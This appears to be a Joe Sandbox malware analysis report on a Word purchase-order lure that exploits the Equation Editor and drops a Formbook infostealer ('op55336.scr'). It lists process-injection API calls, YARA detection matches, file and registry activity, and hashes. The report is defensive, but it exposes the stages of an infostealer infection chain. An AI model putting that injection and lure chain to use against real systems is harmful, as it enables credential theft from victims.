Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040B0C3 NtCreateSection,	6_2_0040B0C3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040B2E3 NtMapViewOfSection,	6_2_0040B2E3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040AA93 NtSetContextThread,	6_2_0040AA93
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040BBB3 NtDelayExecution,	6_2_0040BBB3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040ACA3 NtResumeThread,	6_2_0040ACA3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040B513 NtCreateFile,	6_2_0040B513
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040A673 NtSuspendThread,	6_2_0040A673
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0042BF43 NtClose,	6_2_0042BF43
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040B743 NtReadFile,	6_2_0040B743
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040BFD3 NtAllocateVirtualMemory,	6_2_0040BFD3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA07AC NtCreateMutant,LdrInitializeThunk,	6_2_00EA07AC
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9F9F0 NtClose,LdrInitializeThunk,	6_2_00E9F9F0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FAE8 NtQueryInformationProcess,LdrInitializeThunk,	6_2_00E9FAE8
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FB68 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_00E9FB68
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FDC0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_00E9FDC0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA00C4 NtCreateFile,	6_2_00EA00C4
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA0060 NtQuerySection,	6_2_00EA0060
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA0078 NtResumeThread,	6_2_00EA0078
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA0048 NtProtectVirtualMemory,	6_2_00EA0048
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA01D4 NtSetValueKey,	6_2_00EA01D4
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA010C NtOpenDirectoryObject,	6_2_00EA010C
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA0C40 NtGetContextThread,	6_2_00EA0C40
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA10D0 NtOpenProcessToken,	6_2_00EA10D0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA1148 NtOpenThread,	6_2_00EA1148
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9F8CC NtWaitForSingleObject,	6_2_00E9F8CC
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9F938 NtWriteFile,	6_2_00E9F938
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA1930 NtSetContextThread,	6_2_00EA1930
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9F900 NtReadFile,	6_2_00E9F900
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FAD0 NtAllocateVirtualMemory,	6_2_00E9FAD0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FAB8 NtQueryValueKey,	6_2_00E9FAB8
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FA50 NtEnumerateValueKey,	6_2_00E9FA50
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FA20 NtQueryInformationFile,	6_2_00E9FA20
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FBE8 NtQueryVirtualMemory,	6_2_00E9FBE8
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FBB8 NtQueryInformationToken,	6_2_00E9FBB8
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FB50 NtCreateKey,	6_2_00E9FB50
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FC90 NtUnmapViewOfSection,	6_2_00E9FC90
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FC60 NtMapViewOfSection,	6_2_00E9FC60
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FC48 NtSetInformationFile,	6_2_00E9FC48
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FC30 NtOpenProcess,	6_2_00E9FC30
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FD8C NtDelayExecution,	6_2_00E9FD8C
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EA1D80 NtSuspendThread,	6_2_00EA1D80
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FD5C NtEnumerateKey,	6_2_00E9FD5C
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FED0 NtAdjustPrivilegesToken,	6_2_00E9FED0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FEA0 NtReadVirtualMemory,	6_2_00E9FEA0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FE24 NtWriteVirtualMemory,	6_2_00E9FE24
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FFFC NtCreateProcessEx,	6_2_00E9FFFC
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FFB4 NtCreateSection,	6_2_00E9FFB4
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E9FF34 NtQueueApcThread,	6_2_00E9FF34

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00679718	2_2_00679718
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 5_2_00153D30	5_2_00153D30
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 5_2_001532A8	5_2_001532A8
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00402884	6_2_00402884
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00402890	6_2_00402890
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0042E2F3	6_2_0042E2F3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_004012B0	6_2_004012B0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_004033D0	6_2_004033D0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00417BEE	6_2_00417BEE
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00417BF3	6_2_00417BF3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00411443	6_2_00411443
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0041143A	6_2_0041143A
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_004034D0	6_2_004034D0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_004025C0	6_2_004025C0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_004025F9	6_2_004025F9
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00401580	6_2_00401580
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_004025B3	6_2_004025B3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00411663	6_2_00411663
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00402ED0	6_2_00402ED0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040F6E3	6_2_0040F6E3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00402709	6_2_00402709
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EAE0C6	6_2_00EAE0C6
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EAE2E9	6_2_00EAE2E9
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00ED63DB	6_2_00ED63DB
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F563BF	6_2_00F563BF
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EFA37B	6_2_00EFA37B
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EB2305	6_2_00EB2305
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F3443E	6_2_00F3443E
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F305E3	6_2_00F305E3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00ECC5F0	6_2_00ECC5F0
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EF6540	6_2_00EF6540
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EBE6C1	6_2_00EBE6C1
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EB4680	6_2_00EB4680
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F52622	6_2_00F52622
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EFA634	6_2_00EFA634
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EBC7BC	6_2_00EBC7BC
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00ED286D	6_2_00ED286D
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EBC85C	6_2_00EBC85C
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F449F5	6_2_00F449F5
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EC69FE	6_2_00EC69FE
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EB29B2	6_2_00EB29B2
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F5098E	6_2_00F5098E
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EFC920	6_2_00EFC920
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F36BCB	6_2_00F36BCB
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F5CBA4	6_2_00F5CBA4
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F52C9C	6_2_00F52C9C
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F3AC5E	6_2_00F3AC5E
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EBCD5B	6_2_00EBCD5B
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EE0D3B	6_2_00EE0D3B
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00ECEE4C	6_2_00ECEE4C
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EE2E2F	6_2_00EE2E2F
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F22FDC	6_2_00F22FDC
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F4CFB1	6_2_00F4CFB1
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EC0F3F	6_2_00EC0F3F
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F2D06D	6_2_00F2D06D
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EB3040	6_2_00EB3040
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EC905A	6_2_00EC905A
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EDD005	6_2_00EDD005
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F3D13F	6_2_00F3D13F
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F51238	6_2_00F51238
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EAF3CF	6_2_00EAF3CF
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EB7353	6_2_00EB7353
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EC1489	6_2_00EC1489
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EE5485	6_2_00EE5485
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EED47D	6_2_00EED47D
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F535DA	6_2_00F535DA
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EB351F	6_2_00EB351F
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EE57C3	6_2_00EE57C3
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F3579A	6_2_00F3579A
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F4771D	6_2_00F4771D
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F4F8EE	6_2_00F4F8EE
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F2F8C4	6_2_00F2F8C4
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F35955	6_2_00F35955
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F3394B	6_2_00F3394B
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F63A83	6_2_00F63A83
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F3DBDA	6_2_00F3DBDA
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EAFBD7	6_2_00EAFBD7
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00ED7B00	6_2_00ED7B00
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F4FDDD	6_2_00F4FDDD
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EDDF7C	6_2_00EDDF7C
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00F3BF14	6_2_00F3BF14
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E92617	8_2_61E92617
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E451A7	8_2_61E451A7
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E42161	8_2_61E42161
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E1F0C6	8_2_61E1F0C6
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E30058	8_2_61E30058
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E174C2	8_2_61E174C2
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E274A1	8_2_61E274A1
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E4A4B2	8_2_61E4A4B2
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E396BD	8_2_61E396BD
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E478BD	8_2_61E478BD
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E77880	8_2_61E77880
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E35BE2	8_2_61E35BE2
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E40B41	8_2_61E40B41
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E47E21	8_2_61E47E21

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\sqlite3.dll 99E91AE250C955BD403EC1A2321D6B11FCB715BDCC7CB3F63FFB46B349AFDE5C

Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: String function: 00F1F970 appears 84 times
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: String function: 00EADF5C appears 137 times
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: String function: 00EAE2A8 appears 60 times
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: String function: 00EF373B appears 253 times
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: String function: 00EF3F92 appears 132 times

Source: sqlite3.dll.8.dr

Static PE information: Number of sections : 18 > 10

Source: C:\Windows\SysWOW64\dfrgui.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Jump to behavior

Source: MOQ010524Purchase order.doc, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 6.2.op55336.scr.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 6.2.op55336.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 5.2.op55336.scr.3506390.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 5.2.op55336.scr.3506390.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 5.2.op55336.scr.d40000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 5.2.op55336.scr.d40000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 5.2.op55336.scr.24a19c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 5.2.op55336.scr.249f184.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0000000E.00000002.479625649.0000000000350000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.847226726.00000000003A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.847107222.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.411272581.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.847699564.0000000004DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.847192255.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.351612822.0000000000D40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.416629798.0000000001B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.847416646.0000000003360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: opp[1].scr.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: op55336.scr.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 5.2.op55336.scr.3506390.5.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.op55336.scr.d40000.1.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 5.2.op55336.scr.3506390.5.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'
Source: 5.2.op55336.scr.d40000.1.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@11/15@22/12

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$Q010524Purchase order.doc

Jump to behavior

Source: C:\Users\user\AppData\Roaming\op55336.scr

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6537.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
